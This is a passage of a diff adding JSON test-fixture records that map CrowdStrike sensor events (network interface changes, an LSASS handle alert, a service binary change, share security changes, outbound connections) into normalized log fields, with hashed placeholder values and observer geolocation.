+                "id": "2278e50b41a263c2d8421b5135a380a7",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "JavaInjectedThread",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "2278e50b41a263c2d8421b5135a380a7",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "800000030087834",
+                "pid": 60037,
+                "thread": {
+                    "id": 7029002010518039
+                }
+            },
+            "related": {
+                "hash": [
+                    "1080600092"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AccessType": "4",
+                "AddressFamily": "0",
+                "AdminStatus": "2",
+                "BaseReachableTime": "0",
+                "ConfigStateHash": "9968901000",
+                "ConnectionType": "1",
+                "DadState": "0",
+                "DadTransmits": "0",
+                "DirectionType": "0",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "86",
+                "EventOrigin": "1",
+                "IfType": "0",
+                "InBroadcastOctets": "0",
+                "InDiscards": "0",
+                "InErrors": "0",
+                "InMulticastOctets": "0",
+                "InNUcastPkts": "0",
+                "InOctets": "0",
+                "InUcastOctets": "0",
+                "InUcastPkts": "0",
+                "InUnknownProtos": "0",
+                "InterfaceAlias": "937aad95bcccd8cfa1a93b7bb9c5a2ead",
+                "InterfaceDescription": "f59e6603c99b77bc826e67f3133aa91ba4",
+                "InterfaceFlags": "0",
+                "InterfaceIdentifier": "0",
+                "InterfaceIndex": 0,
+                "InterfaceMtu": "9560",
+                "InterfaceType": "0",
+                "IpEntryFlags": "0",
+                "LinkLocalAddressBehavior": "0",
+                "LinkLocalAddressTimeout": "0",
+                "LocalAddressIP6": [
+                    "2a02:cf40::1"
+                ],
+                "LocalIpAddressPipelineSource": "6",
+                "MaxReassemblySize": "0",
+                "MaxRouterAdvertisementInterval": "0",
+                "MediaConnectState": "0",
+                "MediaType": "46",
+                "Metric": "0",
+                "MinRouterAdvertisementInterval": "0",
+                "NetLuidIndex": 0,
+                "NetworkGuid": "76f651e25d18ba610cf7770da4e745f9886b",
+                "NetworkInterfaceGuid": "c5b6c77ed6710604982c8df8956c7d308373",
+                "NlMtu": "0",
+                "OnLinkPrefixLength": "0",
+                "OperStatus": "2",
+                "OutBroadcastOctets": "0",
+                "OutDiscards": "0",
+                "OutErrors": "0",
+                "OutMulticastOctets": "0",
+                "OutNUcastPkts": "0",
+                "OutOctets": "0",
+                "OutUcastOctets": "0",
+                "OutUcastPkts": "0",
+                "PathMtuDiscoveryTimeout": "0",
+                "PermanentPhysicalAddress": "84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60",
+                "PhysicalAddressLength": 72,
+                "PhysicalMediumType": "0",
+                "PreferredLifetime": "0",
+                "PrefixLength": "0",
+                "PrefixOrigin": "0",
+                "ReachableTime": "0",
+                "ReceiveLinkSpeed": "300785",
+                "RetransmitTime": "0",
+                "RouteAge": "0",
+                "RouteMetric": "0",
+                "RouteOrigin": "0",
+                "RouterDiscoveryBehavior": "0",
+                "ScopeLevel": "0",
+                "ScopeZone": "0",
+                "SitePrefixLength": "0",
+                "SkipAsSource": "0",
+                "SuffixOrigin": "0",
+                "TransmitLinkSpeed": "300785",
+                "TunnelType": "0",
+                "ValidLifetime": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "b1ba5664a59d4ed815268b354ba0a8ca20f4",
+                "name": "a01d5ce18dcbf077bc4"
+            },
+            "device": {
+                "id": "8b33228d110f333bb96bb91288f6d8ad"
+            },
+            "event": {
+                "action": "LocalIpAddressIP6",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "b1ba5664a59d4ed815268b354ba0a8ca20f4|8b33228d110f333bb96bb91288f6d8ad|4092825518eaf67377a6e4492ae44577",
+                "kind": "state",
+                "original": "{\"ValidLifetime\":\"0\",\"OutOctets\":\"0\",\"MaxReassemblySize\":\"0\",\"MediaConnectState\":\"0\",\"InterfaceMtu\":\"9560\",\"NlMtu\":\"0\",\"NetworkGuid\":\"76f651e25d18ba610cf7770da4e745f9886b\",\"InterfaceAlias\":\"937aad95bcccd8cfa1a93b7bb9c5a2ead\",\"InDiscards\":\"0\",\"InBroadcastOctets\":\"0\",\"InterfaceIndex\":\"0\",\"InterfaceFlags\":\"0\",\"PermanentPhysicalAddress\":\"84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60\",\"DadState\":\"0\",\"InterfaceType\":\"0\",\"MinRouterAdvertisementInterval\":\"0\",\"EventOrigin\":\"1\",\"MediaType\":\"46\",\"id\":\"b1ba5664a59d4ed815268b354ba0a8ca20f4\",\"AddressFamily\":\"0\",\"LocalIpAddressPipelineSource\":\"6\",\"ReceiveLinkSpeed\":\"300785\",\"AccessType\":\"4\",\"event_simpleName\":\"LocalIpAddressIP6\",\"PathMtuDiscoveryTimeout\":\"0\",\"OutDiscards\":\"0\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"IpEntryFlags\":\"0\",\"PreferredLifetime\":\"0\",\"ConnectionType\":\"1\",\"DadTransmits\":\"0\",\"OperStatus\":\"2\",\"PhysicalAddress\":\"99-24-19-28-16-80-11-f3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46\",\"RouteOrigin\":\"0\",\"InUnknownProtos\":\"0\",\"OutErrors\":\"0\",\"DirectionType\":\"0\",\"InOctets\":\"0\",\"Entitlements\":\"86\",\"name\":\"a01d5ce18dcbf077bc4\",\"RouteAge\":\"0\",\"InUcastOctets\":\"0\",\"aid\":\"8b33228d110f333bb96bb91288f6d8ad\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"IfType\":\"0\",\"OutUcastOctets\":\"0\",\"RetransmitTime\":\"0\",\"SuffixOrigin\":\"0\",\"InMulticastOctets\":\"0\",\"OutBroadcastOctets\":\"0\",\"CreationTimeStamp\":\"\",\"LinkLocalAddressBehavior\":\"0\",\"aip\":\"89.160.20.112\",\"BaseReachableTime\":\"0\",\"InErrors\":\"0\",\"RouterDiscoveryBehavior\":\"0\",\"LinkLocalAddressTimeout\":\"0\",\"RouteMetric\":\"0\",\"event_platform\":\"Win\",\"SitePrefixLength\":\"0\",\"TransmitLinkSpeed\":\"300785\",\"PhysicalAddressLength\":\"72\",\"InUcastPkts\":\"0\",\"EffectiveTransmissionClass\":\"2\",\"PrefixOrigin\":\"0\",\"timestamp\":\"1743508799999\",\"SkipAsSource\":\"0\",\"AdminStatus\":\"2\",\"OnLinkPrefixLength\":\"0\",\"TunnelType\":\"0\",\"ConfigStateHash\":\"9968901000\",\"InterfaceDescription\":\"f59e6603c99b77bc826e67f3133aa91ba4\",\"InterfaceIdentifier\":\"0\",\"ScopeLevel\":\"0\",\"PrefixLength\":\"0\",\"OutUcastPkts\":\"0\",\"NetworkInterfaceGuid\":\"c5b6c77ed6710604982c8df8956c7d308373\",\"ScopeZone\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"PhysicalMediumType\":\"0\",\"NetLuidIndex\":\"0\",\"InNUcastPkts\":\"0\",\"MaxRouterAdvertisementInterval\":\"0\",\"Metric\":\"0\",\"ReachableTime\":\"0\",\"OutMulticastOctets\":\"0\",\"OutNUcastPkts\":\"0\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "8b33228d110f333bb96bb91288f6d8ad",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "LocalIpAddressIP6",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "8b33228d110f333bb96bb91288f6d8ad",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "related": {
+                "hash": [
+                    "9968901000"
+                ],
+                "ip": [
+                    "89.160.20.112",
+                    "2a02:cf40::1"
+                ]
+            },
+            "source": {
+                "address": "2a02:cf40::1",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40::1",
+                "mac": "99-24-19-28-16-80-11-F3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "9968901000",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "76",
+                "EventOrigin": "1",
+                "InterfaceIndex": 0,
+                "LocalAddressIP6": [
+                    "2a02:cf40::2"
+                ],
+                "LocalIpAddressPipelineSource": "6",
+                "NetLuidIndex": 0,
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "46389a39e57e9b858db2074d5f94ec7a526d",
+                "name": "872932933dab2f183b4ce071bd"
+            },
+            "device": {
+                "id": "8b33228d110f333bb96bb91288f6d8ad"
+            },
+            "event": {
+                "action": "LocalIpAddressRemovedIP6",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "46389a39e57e9b858db2074d5f94ec7a526d|8b33228d110f333bb96bb91288f6d8ad|4092825518eaf67377a6e4492ae44577",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"LocalIpAddressRemovedIP6\",\"LocalAddressIP6\":\"2a02:cf40::2\",\"ConfigStateHash\":\"9968901000\",\"aip\":\"89.160.20.128\",\"InterfaceIndex\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"NetLuidIndex\":\"0\",\"Entitlements\":\"76\",\"name\":\"872932933dab2f183b4ce071bd\",\"EventOrigin\":\"1\",\"id\":\"46389a39e57e9b858db2074d5f94ec7a526d\",\"LocalIpAddressPipelineSource\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8b33228d110f333bb96bb91288f6d8ad\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "8b33228d110f333bb96bb91288f6d8ad",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "LocalIpAddressRemovedIP6",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "8b33228d110f333bb96bb91288f6d8ad",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "related": {
+                "hash": [
+                    "9968901000"
+                ],
+                "ip": [
+                    "89.160.20.128",
+                    "2a02:cf40::2"
+                ]
+            },
+            "source": {
+                "address": "2a02:cf40::2",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40::2"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3440491101",
+                "ContextProcessId": "617055030004",
+                "ContextTimeStamp": "2025-07-13T19:07:50.075Z",
+                "DesiredAccess": "2336",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "66",
+                "EventOrigin": "1",
+                "ExtendedKeyUsages": "1",
+                "FileSigningTime": "1696360530.000",
+                "HandleCreated": "0",
+                "Object1Type": "85300006300503060726",
+                "PublicKeys": "0",
+                "SHA256HashData": "7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243",
+                "SignInfoFlags": "932000",
+                "Status": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "6fa27f66ec6a05ff162d3ee4962108a1518e",
+                "name": "a94954f7ef7b687d2b265ac33c34fe0"
+            },
+            "device": {
+                "id": "84bd7271911c13b227952666802a3e71"
+            },
+            "event": {
+                "action": "LsassHandleFromUnsignedModule",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "6fa27f66ec6a05ff162d3ee4962108a1518e|84bd7271911c13b227952666802a3e71|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"ContextThreadId\":\"53282469092040\",\"aip\":\"81.2.69.142\",\"PublicKeys\":\"0\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"6fa27f66ec6a05ff162d3ee4962108a1518e\",\"HandleCreated\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"LsassHandleFromUnsignedModule\",\"ContextTimeStamp\":\"1752433670.075\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"617055030004\",\"SHA256HashData\":\"7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243\",\"ExtendedKeyUsages\":\"1\",\"FileSigningTime\":\"1696360530.000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"Object1Name\":\"\",\"TargetProcessId\":\"330096244003\",\"DesiredAccess\":\"2336\",\"ImageFileName\":\"\\\\6ba0bd\\\\6cf19058\\\\9134161b\\\\4b9430\\\\6cf901c9\\\\d89a3e44.exe\",\"Entitlements\":\"66\",\"name\":\"a94954f7ef7b687d2b265ac33c34fe0\",\"aid\":\"84bd7271911c13b227952666802a3e71\",\"SignInfoFlags\":\"932000\",\"Object1Type\":\"85300006300503060726\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"Certificate\":\"\"}",
+                "outcome": "unknown",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "84bd7271911c13b227952666802a3e71",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "LsassHandleFromUnsignedModule",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "84bd7271911c13b227952666802a3e71",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "330096244003",
+                "executable": "\\6ba0bd\\6cf19058\\9134161b\\4b9430\\6cf901c9\\d89a3e44.exe",
+                "name": "d89a3e44.exe",
+                "thread": {
+                    "id": 53282469092040
+                }
+            },
+            "related": {
+                "hash": [
+                    "7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243",
+                    "3440491101"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "8200073020",
+                "ContextProcessId": "603000080603277383",
+                "ContextTimeStamp": "2025-09-18T04:54:08.217Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "16",
+                "EventOrigin": "1",
+                "ServiceDescription": "4329d830\\4a6a0a4b\\4b8e4186.dll,-101",
+                "ServiceErrorControl": "1",
+                "ServiceFailureActions": "370906160706958900210000200600006090810303901200700052903087003011111111",
+                "ServiceImagePath": "6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5",
+                "ServiceSecurity": "1c31d/23092a59",
+                "ServiceStart": "3",
+                "ServiceType": "840",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "f65e6994cc640f2778a1b7af2c40ba921473",
+                "name": "381f30fed8ec4c276ba29"
+            },
+            "device": {
+                "id": "c82cce517ab3200fde3ca362e648c993"
+            },
+            "event": {
+                "action": "ModifyServiceBinary",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "f65e6994cc640f2778a1b7af2c40ba921473|c82cce517ab3200fde3ca362e648c993|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"ModifyServiceBinary\",\"ContextTimeStamp\":\"1758171248.217\",\"ConfigStateHash\":\"8200073020\",\"ContextProcessId\":\"603000080603277383\",\"ServiceDescription\":\"4329d830\\\\4a6a0a4b\\\\4b8e4186.dll,-101\",\"ContextThreadId\":\"108300250532070103\",\"aip\":\"216.160.83.56\",\"ServiceSecurity\":\"1c31d/23092a59\",\"ServiceImagePath\":\"6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5\",\"ServiceDisplayName\":\"7a476391b5908bfed8e3c37\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ServiceStart\":\"3\",\"ServiceType\":\"840\",\"Entitlements\":\"16\",\"name\":\"381f30fed8ec4c276ba29\",\"EventOrigin\":\"1\",\"ServiceFailureActions\":\"370906160706958900210000200600006090810303901200700052903087003011111111\",\"id\":\"f65e6994cc640f2778a1b7af2c40ba921473\",\"ServiceErrorControl\":\"1\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c82cce517ab3200fde3ca362e648c993\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "unknown",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "c82cce517ab3200fde3ca362e648c993",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ModifyServiceBinary",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "c82cce517ab3200fde3ca362e648c993",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "603000080603277383",
+                "thread": {
+                    "id": 108300250532070103
+                },
+                "title": "7a476391b5908bfed8e3c37"
+            },
+            "related": {
+                "hash": [
+                    "8200073020"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "AuthenticationId": "830",
+                "ConfigStateHash": "8602068629",
+                "ContextProcessId": "409640218507",
+                "ContextTimeStamp": "2025-08-25T08:34:59.866Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "26",
+                "EventOrigin": "1",
+                "InterfaceGuid": "6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c",
+                "InterfaceVersion": "230092",
+                "RpcClientProcessId": "400050400700",
+                "RpcNestingLevel": "0",
+                "RpcOpNum": "45",
+                "ShareName": "cb8652cba4df7f900",
+                "ShareSecurity": "1c31d/825bda18",
+                "ShareSecuritySddl": "1c31d/aeb465b9",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "c805aeef64230eaf7cd53c8a881aa4e8405a",
+                "name": "e6b491ccab8fa73b85131f75"
+            },
+            "device": {
+                "id": "3daf1fabea580837c4adcda08036d084"
+            },
+            "event": {
+                "action": "NetShareSecurityModify",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "c805aeef64230eaf7cd53c8a881aa4e8405a|3daf1fabea580837c4adcda08036d084|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextThreadId\":\"28260411703000\",\"aip\":\"216.160.83.56\",\"ShareName\":\"cb8652cba4df7f900\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c\",\"RpcClientProcessId\":\"400050400700\",\"id\":\"c805aeef64230eaf7cd53c8a881aa4e8405a\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"NetShareSecurityModify\",\"ContextTimeStamp\":\"1756110899.866\",\"UserName\":\"5f112a78ce366\",\"ConfigStateHash\":\"8602068629\",\"ContextProcessId\":\"409640218507\",\"InterfaceVersion\":\"230092\",\"AuthenticationId\":\"830\",\"ShareSecurity\":\"1c31d/825bda18\",\"ConfigBuild\":\"2c8b.4.a5bcbac.e6\",\"RpcOpNum\":\"45\",\"Entitlements\":\"26\",\"name\":\"e6b491ccab8fa73b85131f75\",\"aid\":\"3daf1fabea580837c4adcda08036d084\",\"ShareSecuritySddl\":\"1c31d/aeb465b9\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "3daf1fabea580837c4adcda08036d084",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NetShareSecurityModify",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "3daf1fabea580837c4adcda08036d084",
+                "version": "2c8b.4.a5bcbac.e6"
+            },
+            "process": {
+                "entity_id": "409640218507",
+                "thread": {
+                    "id": 28260411703000
+                }
+            },
+            "related": {
+                "hash": [
+                    "8602068629"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "user": [
+                    "5f112a78ce366"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "5f112a78ce366"
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "710307050",
+                "ConnectionFlags": "0",
+                "ContextBaseFileName": "b95ddafd92696f0e5a",
+                "ContextProcessId": "6550917119400",
+                "ContextTimeStamp": "2025-11-02T07:06:02.385Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "56",
+                "EventOrigin": "1",
+                "InContext": "0",
+                "LocalAddressIP4": [
+                    "81.2.69.142"
+                ],
+                "RemoteAddressString": "3b0cf5a207bde73b",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "0fc45c7ed982785c2b6da8717ddcefdcd273",
+                "name": "13f26050a8e2372ba812"
+            },
+            "destination": {
+                "address": "89.160.20.128",
+                "as": {
+                    "number": 29518,
+                    "organization": {
+                        "name": "Bredband2 AB"
+                    }
+                },
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": "89.160.20.128",
+                "port": 600
+            },
+            "device": {
+                "id": "fd2a2839c2fb96079cb3c756f823e196"
+            },
+            "event": {
+                "action": "NetworkConnectIP4",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "0fc45c7ed982785c2b6da8717ddcefdcd273|fd2a2839c2fb96079cb3c756f823e196|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ContextBaseFileName\":\"b95ddafd92696f0e5a\",\"aip\":\"216.160.83.56\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"0fc45c7ed982785c2b6da8717ddcefdcd273\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"InContext\":\"0\",\"timestamp\":\"1743508799999\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"NetworkConnectIP4\",\"ContextTimeStamp\":\"1762067162.385\",\"ConfigStateHash\":\"710307050\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"6550917119400\",\"RemotePort\":\"600\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"LocalPort\":\"60181\",\"Entitlements\":\"56\",\"name\":\"13f26050a8e2372ba812\",\"aid\":\"fd2a2839c2fb96079cb3c756f823e196\",\"RemoteAddressIP4\":\"89.160.20.128\",\"RemoteAddressString\":\"3b0cf5a207bde73b\",\"ConnectionDirection\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "unknown",
+                "type": [
+                    "start",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "fd2a2839c2fb96079cb3c756f823e196",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "NetworkConnectIP4",
+            "network": {
+                "community_id": "1:jLmbBdsIpHaowv+xHoWSBFN5+34=",
+                "direction": "outbound",
+                "iana_number": "6",
+                "transport": "tcp"
+            },
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "fd2a2839c2fb96079cb3c756f823e196",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "6550917119400",
+                "name": "b95ddafd92696f0e5a"
+            },
+            "related": {
+                "hash": [
+                    "710307050"
+                ],
+                "ip": [
+                    "216.160.83.56",
+                    "81.2.69.142",
+                    "89.160.20.128"
+                ]
+            },
+            "source": {
+                "address": "81.2.69.142",
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.142",
+                "port": 60181
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "205997984",
+                "ConnectionFlags": "0",
+                "ContextBaseFileName": "b971114518c9",
+                "ContextProcessId": "4093698090473",
+                "ContextTimeStamp": "2025-05-03T16:40:44.357Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "56",
+                "EventOrigin": "1",
+                "InContext": "0",
+                "LocalAddressIP6": [
+                    "2a02:cf40::2"
+                ],
+                "RemoteAddressString": "2a02:cf40::1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "473484e6b33fdbe4e7274bc98a2365ad9e88",
+                "name": "f35a9bcaa84e44df3194"
+            },
+            "destination": {
+                "address": "2a02:cf40::1",
+                "geo": {
+                    "continent_name": "Europe",
+                    "country_iso_code": "NO",
+                    "country_name": "Norway",
+                    "location": {
+                        "lat": 62.0,
+                        "lon": 10.0
+                    }
+                },
+                "ip": "2a02:cf40::1",
+                "port": 600
+            },
+            "device": {
+                "id": "bfc5af54b43f2802d6e18297ab82e810"
+            },
+            "event": {
+                "action": "NetworkConnectIP6",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "473484e6b33fdbe4e7274bc98a2365ad9e88|bfc5af54b43f2802d6e18297ab82e810|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
